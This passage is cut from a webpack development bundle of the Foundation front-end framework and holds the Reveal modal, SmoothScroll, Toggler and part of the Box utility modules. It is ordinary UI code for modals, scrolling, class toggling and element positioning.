this._disableScroll();\n\n var _this = this; // Motion UI method of reveal\n\n\n if (this.options.animationIn) {\n var afterAnimation = function afterAnimation() {\n _this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n\n _this._addGlobalClasses();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(_this.$element);\n };\n\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$overlay, 'fade-in');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateIn(this.$element, this.options.animationIn, function () {\n if (_this4.$element) {\n // protect against object having been removed\n _this4.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(_this4.$element);\n afterAnimation();\n }\n });\n } // jQuery method of reveal\n else {\n if (this.options.overlay) {\n this.$overlay.show(0);\n }\n\n this.$element.show(this.options.showDelay);\n } // handle accessibility\n\n\n this.$element.attr({\n 'aria-hidden': false,\n 'tabindex': -1\n }).focus();\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].trapFocus(this.$element);\n\n this._addGlobalClasses();\n\n this._addGlobalListeners();\n /**\n * Fires when the modal has successfully opened.\n * @event Reveal#open\n */\n\n\n this.$element.trigger('open.zf.reveal');\n }\n /**\n * Adds classes and listeners on document required by open modals.\n *\n * The following classes are added and updated:\n * - `.is-reveal-open` - Prevents the scroll on document\n * - `.zf-has-scroll` - Displays a disabled scrollbar on document if required like if the\n * scroll was not disabled. This prevent a \"shift\" of the page content due\n * the scrollbar disappearing when the modal opens.\n *\n * @private\n */\n\n }, {\n key: \"_addGlobalClasses\",\n value: function _addGlobalClasses() {\n var updateScrollbarClass = function updateScrollbarClass() {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').toggleClass('zf-has-scroll', !!(jquery__WEBPACK_IMPORTED_MODULE_0___default()(document).height() > jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).height()));\n };\n\n this.$element.on('resizeme.zf.trigger.revealScrollbarListener', function () {\n return updateScrollbarClass();\n });\n updateScrollbarClass();\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').addClass('is-reveal-open');\n }\n /**\n * Removes classes and listeners on document that were required by open modals.\n * @private\n */\n\n }, {\n key: \"_removeGlobalClasses\",\n value: function _removeGlobalClasses() {\n this.$element.off('resizeme.zf.trigger.revealScrollbarListener');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('is-reveal-open');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html').removeClass('zf-has-scroll');\n }\n /**\n * Adds extra event handlers for the body and window if necessary.\n * @private\n */\n\n }, {\n key: \"_addGlobalListeners\",\n value: function _addGlobalListeners() {\n var _this = this;\n\n if (!this.$element) {\n return;\n } // If we're in the middle of cleanup, don't freak out\n\n\n this.focusableElements = _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].findFocusable(this.$element);\n\n if (!this.options.overlay && this.options.closeOnClick && !this.options.fullScreen) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').on('click.zf.reveal', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target) || !jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(document, e.target)) {\n return;\n }\n\n _this.close();\n });\n }\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).on('keydown.zf.reveal', function (e) {\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].handleKey(e, 'Reveal', {\n close: function close() {\n if (_this.options.closeOnEsc) {\n _this.close();\n }\n }\n });\n });\n }\n }\n /**\n * Closes the modal.\n * @function\n * @fires Reveal#closed\n */\n\n }, {\n key: \"close\",\n value: function close() {\n if (!this.isActive || !this.$element.is(':visible')) {\n return false;\n }\n\n var _this = this; // Motion UI method of hiding\n\n\n if (this.options.animationOut) {\n if (this.options.overlay) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$overlay, 'fade-out');\n }\n\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_4__[\"Motion\"].animateOut(this.$element, this.options.animationOut, finishUp);\n } // jQuery method of hiding\n else {\n this.$element.hide(this.options.hideDelay);\n\n if (this.options.overlay) {\n this.$overlay.hide(0, finishUp);\n } else {\n finishUp();\n }\n } // Conditionals to remove extra event listeners added on open\n\n\n if (this.options.closeOnEsc) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off('keydown.zf.reveal');\n }\n\n if (!this.options.overlay && this.options.closeOnClick) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('body').off('click.zf.reveal');\n }\n\n this.$element.off('keydown.zf.reveal');\n\n function finishUp() {\n // Get the current top before the modal is closed and restore the scroll after.\n // TODO: use component properties instead of HTML properties\n // See https://github.com/zurb/foundation-sites/pull/10786\n var scrollTop = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"html\").css(\"top\"));\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n _this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_2__[\"Keyboard\"].releaseFocus(_this.$element);\n\n _this.$element.attr('aria-hidden', true);\n\n _this._enableScroll(scrollTop);\n /**\n * Fires when the modal is done closing.\n * @event Reveal#closed\n */\n\n\n _this.$element.trigger('closed.zf.reveal');\n }\n /**\n * Resets the modal content\n * This prevents a running video to keep going in the background\n */\n\n\n if (this.options.resetOnClose) {\n this.$element.html(this.$element.html());\n }\n\n this.isActive = false; // If deepLink and we did not switched to an other modal...\n\n if (_this.options.deepLink && window.location.hash === \"#\".concat(this.id)) {\n // Remove the history hash\n if (window.history.replaceState) {\n var urlWithoutHash = window.location.pathname + window.location.search;\n\n if (this.options.updateHistory) {\n window.history.pushState({}, '', urlWithoutHash); // remove the hash\n } else {\n window.history.replaceState('', document.title, urlWithoutHash);\n }\n } else {\n window.location.hash = '';\n }\n }\n\n this.$activeAnchor.focus();\n }\n /**\n * Toggles the open/closed state of a modal.\n * @function\n */\n\n }, {\n key: \"toggle\",\n value: function toggle() {\n if (this.isActive) {\n this.close();\n } else {\n this.open();\n }\n }\n }, {\n key: \"_destroy\",\n\n /**\n * Destroys an instance of a modal.\n * @function\n */\n value: function _destroy() {\n if (this.options.overlay) {\n this.$element.appendTo(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.appendTo)); // move $element outside of $overlay to prevent error unregisterPlugin()\n\n this.$overlay.hide().off().remove();\n }\n\n this.$element.hide().off();\n this.$anchor.off('.zf');\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(\".zf.reveal:\".concat(this.id));\n if (this.onLoadListener) jquery__WEBPACK_IMPORTED_MODULE_0___default()(window).off(this.onLoadListener);\n\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()('.reveal:visible').length === 0) {\n this._removeGlobalClasses(); // also remove .is-reveal-open from the html element when there is no opened reveal\n\n }\n }\n }]);\n\n return Reveal;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nReveal.defaults = {\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationIn: '',\n\n /**\n * Motion-UI class to use for animated elements. If none used, defaults to simple show/hide.\n * @option\n * @type {string}\n * @default ''\n */\n animationOut: '',\n\n /**\n * Time, in ms, to delay the opening of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n showDelay: 0,\n\n /**\n * Time, in ms, to delay the closing of a modal after a click if no animation used.\n * @option\n * @type {number}\n * @default 0\n */\n hideDelay: 0,\n\n /**\n * Allows a click on the body/overlay to close the modal.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnClick: true,\n\n /**\n * Allows the modal to close if the user presses the `ESCAPE` key.\n * @option\n * @type {boolean}\n * @default true\n */\n closeOnEsc: true,\n\n /**\n * If true, allows multiple modals to be displayed at once.\n * @option\n * @type {boolean}\n * @default false\n */\n multipleOpened: false,\n\n /**\n * Distance, in pixels, the modal should push down from the top of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n vOffset: 'auto',\n\n /**\n * Distance, in pixels, the modal should push in from the side of the screen.\n * @option\n * @type {number|string}\n * @default auto\n */\n hOffset: 'auto',\n\n /**\n * Allows the modal to be fullscreen, completely blocking out the rest of the view. JS checks for this as well.\n * @option\n * @type {boolean}\n * @default false\n */\n fullScreen: false,\n\n /**\n * Allows the modal to generate an overlay div, which will cover the view when modal opens.\n * @option\n * @type {boolean}\n * @default true\n */\n overlay: true,\n\n /**\n * Allows the modal to remove and reinject markup on close. Should be true if using video elements w/o using provider's api, otherwise, videos will continue to play in the background.\n * @option\n * @type {boolean}\n * @default false\n */\n resetOnClose: false,\n\n /**\n * Link the location hash to the modal.\n * Set the location hash when the modal is opened/closed, and open/close the modal when the location changes.\n * @option\n * @type {boolean}\n * @default false\n */\n deepLink: false,\n\n /**\n * If `deepLink` is enabled, update the browser history with the open modal\n * @option\n * @default false\n */\n updateHistory: false,\n\n /**\n * Allows the modal to append to custom div.\n * @option\n * @type {string}\n * @default \"body\"\n */\n appendTo: \"body\",\n\n /**\n * Allows adding additional class names to the reveal overlay.\n * @option\n * @type {string}\n * @default ''\n */\n additionalOverlayClasses: ''\n};\n\n\n//# sourceURL=webpack:///./js/foundation.reveal.js?")},"./js/foundation.smoothScroll.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "SmoothScroll", function() { return SmoothScroll; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n/**\n * SmoothScroll module.\n * @module foundation.smooth-scroll\n */\n\nvar SmoothScroll =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(SmoothScroll, _Plugin);\n\n function SmoothScroll() {\n _classCallCheck(this, SmoothScroll);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(SmoothScroll).apply(this, arguments));\n }\n\n _createClass(SmoothScroll, [{\n key: "_setup",\n\n /**\n * Creates a new instance of SmoothScroll.\n * @class\n * @name SmoothScroll\n * @fires SmoothScroll#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, SmoothScroll.defaults, this.$element.data(), options);\n this.className = \'SmoothScroll\'; // ie9 back compat\n\n this._init();\n }\n /**\n * Initialize the SmoothScroll plugin\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var id = this.$element[0].id || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_1__["GetYoDigits"])(6, \'smooth-scroll\');\n this.$element.attr({\n id: id\n });\n\n this._events();\n }\n /**\n * Initializes events for SmoothScroll.\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.on(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.on(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n /**\n * Handle the given event to smoothly scroll to the anchor pointed by the event target.\n * @param {*} e - event\n * @function\n * @private\n */\n\n }, {\n key: "_handleLinkClick",\n value: function _handleLinkClick(e) {\n var _this = this;\n\n // Follow the link if it does not point to an anchor.\n if (!jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.currentTarget).is(\'a[href^="#"]\')) return;\n var arrival = e.currentTarget.getAttribute(\'href\');\n this._inTransition = true;\n SmoothScroll.scrollToLoc(arrival, this.options, function () {\n _this._inTransition = false;\n });\n e.preventDefault();\n }\n }, {\n key: "_destroy",\n\n /**\n * Destroys the SmoothScroll instance.\n * @function\n */\n value: function _destroy() {\n this.$element.off(\'click.zf.smoothScroll\', this._handleLinkClick);\n this.$element.off(\'click.zf.smoothScroll\', \'a[href^="#"]\', this._handleLinkClick);\n }\n }], [{\n key: "scrollToLoc",\n\n /**\n * Function to scroll to a given location on the page.\n * @param {String} loc - A properly formatted jQuery id selector. Example: \'#foo\'\n * @param {Object} options - The options to use.\n * @param {Function} callback - The callback function.\n * @static\n * @function\n */\n value: function scrollToLoc(loc) {\n var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : SmoothScroll.defaults;\n var callback = arguments.length > 2 ? arguments[2] : undefined;\n var $loc = jquery__WEBPACK_IMPORTED_MODULE_0___default()(loc); // Do nothing if target does not exist to prevent errors\n\n if (!$loc.length) return false;\n var scrollPos = Math.round($loc.offset().top - options.threshold / 2 - options.offset);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(\'html, body\').stop(true).animate({\n scrollTop: scrollPos\n }, options.animationDuration, options.animationEasing, function () {\n if (typeof callback === \'function\') {\n callback();\n }\n });\n }\n }]);\n\n return SmoothScroll;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n/**\n * Default settings for plugin.\n */\n\n\nSmoothScroll.defaults = {\n /**\n * Amount of time, in ms, the animated scrolling should take between locations.\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Animation style to use when scrolling between locations. Can be `\'swing\'` or `\'linear\'`.\n * @option\n * @type {string}\n * @default \'linear\'\n * @see {@link https://api.jquery.com/animate|Jquery animate}\n */\n animationEasing: \'linear\',\n\n /**\n * Number of pixels to use as a marker for location changes.\n * @option\n * @type {number}\n * @default 50\n */\n threshold: 50,\n\n /**\n * Number of pixels to offset the scroll of the page on item click if using a sticky nav bar.\n * @option\n * @type {number}\n * @default 0\n */\n offset: 0\n};\n\n\n//# sourceURL=webpack:///./js/foundation.smoothScroll.js?')},"./js/foundation.toggler.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval('__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, "Toggler", function() { return Toggler; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ "jquery");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.util.motion */ "./js/foundation.util.motion.js");\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.plugin */ "./js/foundation.core.plugin.js");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.core.utils */ "./js/foundation.core.utils.js");\n/* harmony import */ var _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.triggers */ "./js/foundation.util.triggers.js");\n\n\nfunction _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn\'t been initialised - super() hasn\'t been called"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n/**\n * Toggler module.\n * @module foundation.toggler\n * @requires foundation.util.motion\n * @requires foundation.util.triggers\n */\n\nvar Toggler =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Toggler, _Plugin);\n\n function Toggler() {\n _classCallCheck(this, Toggler);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Toggler).apply(this, arguments));\n }\n\n _createClass(Toggler, [{\n key: "_setup",\n\n /**\n * Creates a new instance of Toggler.\n * @class\n * @name Toggler\n * @fires Toggler#init\n * @param {Object} element - jQuery object to add the trigger to.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Toggler.defaults, element.data(), options);\n this.className = \'\';\n this.className = \'Toggler\'; // ie9 back compat\n // Triggers init is idempotent, just need to make sure it is initialized\n\n _foundation_util_triggers__WEBPACK_IMPORTED_MODULE_4__["Triggers"].init(jquery__WEBPACK_IMPORTED_MODULE_0___default.a);\n\n this._init();\n\n this._events();\n }\n /**\n * Initializes the Toggler plugin by parsing the toggle class from data-toggler, or animation classes from data-animate.\n * @function\n * @private\n */\n\n }, {\n key: "_init",\n value: function _init() {\n var input; // Parse animation classes if they were set\n\n if (this.options.animate) {\n input = this.options.animate.split(\' \');\n this.animationIn = input[0];\n this.animationOut = input[1] || null;\n } // Otherwise, parse toggle class\n else {\n input = this.$element.data(\'toggler\'); // Allow for a . at the beginning of the string\n\n this.className = input[0] === \'.\' ? input.slice(1) : input;\n } // Add ARIA attributes to triggers:\n\n\n var id = this.$element[0].id,\n $triggers = jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open~=\\"".concat(id, "\\"], [data-close~=\\"").concat(id, "\\"], [data-toggle~=\\"").concat(id, "\\"]")); // - aria-expanded: according to the element visibility.\n\n $triggers.attr(\'aria-expanded\', !this.$element.is(\':hidden\')); // - aria-controls: adding the element id to it if not already in it.\n\n $triggers.each(function (index, trigger) {\n var $trigger = jquery__WEBPACK_IMPORTED_MODULE_0___default()(trigger);\n var controls = $trigger.attr(\'aria-controls\') || \'\';\n var containsId = new RegExp("\\\\b".concat(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__["RegExpEscape"])(id), "\\\\b")).test(controls);\n if (!containsId) $trigger.attr(\'aria-controls\', controls ? "".concat(controls, " ").concat(id) : id);\n });\n }\n /**\n * Initializes events for the toggle trigger.\n * @function\n * @private\n */\n\n }, {\n key: "_events",\n value: function _events() {\n this.$element.off(\'toggle.zf.trigger\').on(\'toggle.zf.trigger\', this.toggle.bind(this));\n }\n /**\n * Toggles the target class on the target element. An event is fired from the original trigger depending on if the resultant state was "on" or "off".\n * @function\n * @fires Toggler#on\n * @fires Toggler#off\n */\n\n }, {\n key: "toggle",\n value: function toggle() {\n this[this.options.animate ? \'_toggleAnimate\' : \'_toggleClass\']();\n }\n }, {\n key: "_toggleClass",\n value: function _toggleClass() {\n this.$element.toggleClass(this.className);\n var isOn = this.$element.hasClass(this.className);\n\n if (isOn) {\n /**\n * Fires if the target element has the class after a toggle.\n * @event Toggler#on\n */\n this.$element.trigger(\'on.zf.toggler\');\n } else {\n /**\n * Fires if the target element does not have the class after a toggle.\n * @event Toggler#off\n */\n this.$element.trigger(\'off.zf.toggler\');\n }\n\n this._updateARIA(isOn);\n\n this.$element.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n }\n }, {\n key: "_toggleAnimate",\n value: function _toggleAnimate() {\n var _this = this;\n\n if (this.$element.is(\':hidden\')) {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateIn(this.$element, this.animationIn, function () {\n _this._updateARIA(true);\n\n this.trigger(\'on.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n } else {\n _foundation_util_motion__WEBPACK_IMPORTED_MODULE_1__["Motion"].animateOut(this.$element, this.animationOut, function () {\n _this._updateARIA(false);\n\n this.trigger(\'off.zf.toggler\');\n this.find(\'[data-mutate]\').trigger(\'mutateme.zf.trigger\');\n });\n }\n }\n }, {\n key: "_updateARIA",\n value: function _updateARIA(isOn) {\n var id = this.$element[0].id;\n jquery__WEBPACK_IMPORTED_MODULE_0___default()("[data-open=\\"".concat(id, "\\"], [data-close=\\"").concat(id, "\\"], [data-toggle=\\"").concat(id, "\\"]")).attr({\n \'aria-expanded\': isOn ? true : false\n });\n }\n /**\n * Destroys the instance of Toggler on the element.\n * @function\n */\n\n }, {\n key: "_destroy",\n value: function _destroy() {\n this.$element.off(\'.zf.toggler\');\n }\n }]);\n\n return Toggler;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_2__["Plugin"]);\n\nToggler.defaults = {\n /**\n * Tells the plugin if the element should animated when toggled.\n * @option\n * @type {boolean}\n * @default false\n */\n animate: false\n};\n\n\n//# sourceURL=webpack:///./js/foundation.toggler.js?')},"./js/foundation.util.box.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"Box\", function() { return Box; });\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n\n\n\nvar Box = {\n ImNotTouchingYou: ImNotTouchingYou,\n OverlapArea: OverlapArea,\n GetDimensions: GetDimensions,\n GetOffsets: GetOffsets,\n GetExplicitOffsets: GetExplicitOffsets\n /**\n * Compares the dimensions of an element to a container and determines collision events with container.\n * @function\n * @param {jQuery} element - jQuery object to test for collisions.\n * @param {jQuery} parent - jQuery object to use as bounding container.\n * @param {Boolean} lrOnly - set to true to check left and right values only.\n * @param {Boolean} tbOnly - set to true to check top and bottom values only.\n * @default if no parent object passed, detects collisions with `window`.\n * @returns {Boolean} - true if collision free, false if a collision in any direction.\n */\n\n};\n\nfunction ImNotTouchingYou(element, parent, lrOnly, tbOnly, ignoreBottom) {\n return OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) === 0;\n}\n\n;\n\nfunction OverlapArea(element, parent, lrOnly, tbOnly, ignoreBottom) {\n var eleDims = GetDimensions(element),\n topOver,\n bottomOver,\n leftOver,\n rightOver;\n\n if (parent) {\n var parDims = GetDimensions(parent);\n bottomOver = parDims.height + parDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - parDims.offset.top;\n leftOver = eleDims.offset.left - parDims.offset.left;\n rightOver = parDims.width + parDims.offset.left - (eleDims.offset.left + eleDims.width);\n } else {\n bottomOver = eleDims.windowDims.height + eleDims.windowDims.offset.top - (eleDims.offset.top + eleDims.height);\n topOver = eleDims.offset.top - eleDims.windowDims.offset.top;\n leftOver = eleDims.offset.left - eleDims.windowDims.offset.left;\n rightOver = eleDims.windowDims.width - (eleDims.offset.left + eleDims.width);\n }\n\n bottomOver = ignoreBottom ? 0 : Math.min(bottomOver, 0);\n topOver = Math.min(topOver, 0);\n leftOver = Math.min(leftOver, 0);\n rightOver = Math.min(rightOver, 0);\n\n if (lrOnly) {\n return leftOver + rightOver;\n }\n\n if (tbOnly) {\n return topOver + bottomOver;\n } // use sum of squares b/c we care about overlap area.\n\n\n return Math.sqrt(topOver * topOver + bottomOver * bottomOver + leftOver * leftOver + rightOver * rightOver);\n}\n/**\n * Uses native methods to return an object of dimension values.\n * @function\n * @param {jQuery || HTML} element - jQuery object or DOM element for which to get the dimensions. Can be any element other that document or window.\n * @returns {Object} - nested object of integer pixel values\n * TODO - if element is window, return only those values.\n */\n\n\nfunction GetDimensions(elem) {\n elem = elem.length ? elem[0] : elem;\n\n if (elem === window || elem === document) {\n throw new Error(\"I'm sorry, Dave. I'm afraid I can't do that.\");\n }\n\n var rect = elem.getBoundingClientRect(),\n parRect = elem.parentNode.getBoundingClientRect(),\n winRect = document.body.getBoundingClientRect(),\n winY = window.pageYOffset,\n winX = window.pageXOffset;\n return {\n width: rect.width,\n height: rect.height,\n offset: {\n top: rect.top + winY,\n left: rect.left + winX\n },\n parentDims: {\n width: parRect.width,\n height: parRect.height,\n offset: {\n top: parRect.top + winY,\n left: parRect.left + winX\n }\n },\n windowDims: {\n width: winRect.width,\n height: winRect.height,\n offset: {\n top: winY,\n left: winX\n }\n }\n };\n}\n/**\n * Returns an object of top and left integer pixel values for dynamically rendered elements,\n * such as: Tooltip, Reveal, and Dropdown. Maintained for backwards compatibility, and where\n * you don't know alignment, but generally from\n * 6.4 forward you should use GetExplicitOffsets, as GetOffsets conflates position and alignment.\n * @function\n * @param {jQuery} element - jQuery object for the element being positioned.\n * @param {jQuery} anchor - jQuery object for the element's anchor point.\n * @param {String} position - a string relating to the desired position of the element, relative to it's anchor\n * @param {Number} vOffset - integer pixel value of desired vertical separation between anchor and element.\n * @param {Number} hOffset - integer pixel value of desired horizontal separation between anchor and element.\n * @param {Boolean} isOverflow - if a collision event is detected, sets to true to default the element to full width - any desired offset.\n * TODO alter/rewrite to work with `em` values as well/instead of pixels\n */\n\n\nfunction GetOffsets(element, anchor, position, vOffset, hOffset, isOverflow) {\n console.log(\"NOTE: GetOffsets is deprecated in favor of GetExplicitOffsets and will be removed in 6.5\");\n\n switch (position) {\n case 'top':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'top', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'top', 'right', vOffset, hOffset, isOverflow);\n\n case 'bottom':\n return Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_0__[\"rtl\"])() ? GetExplicitOffsets(element, anchor, 'bottom', 'left', vOffset, hOffset, isOverflow) : GetExplicitOffsets(element, anchor, 'bottom', 'right', vOffset, hOffset, isOverflow);\n\n case 'center top':\n return GetExplicitOffsets(element, anchor, 'top', 'center', vOffset, hOffset, isOverflow);\n\n case 'center bottom':\n return GetExplicitOffsets(element, anchor, 'bottom', 'center', vOffset, hOffset, isOverflow);\n\n case 'center left':\n return GetExplicitOffsets(element, anchor, 'left', 'center', vOffset, hOffset, isOverflow);\n\n case 'center right':\n return GetExplicitOffsets(element, anchor, 'right', 'center', vOffset, hOffset, isOverflow);\n\n case 'left 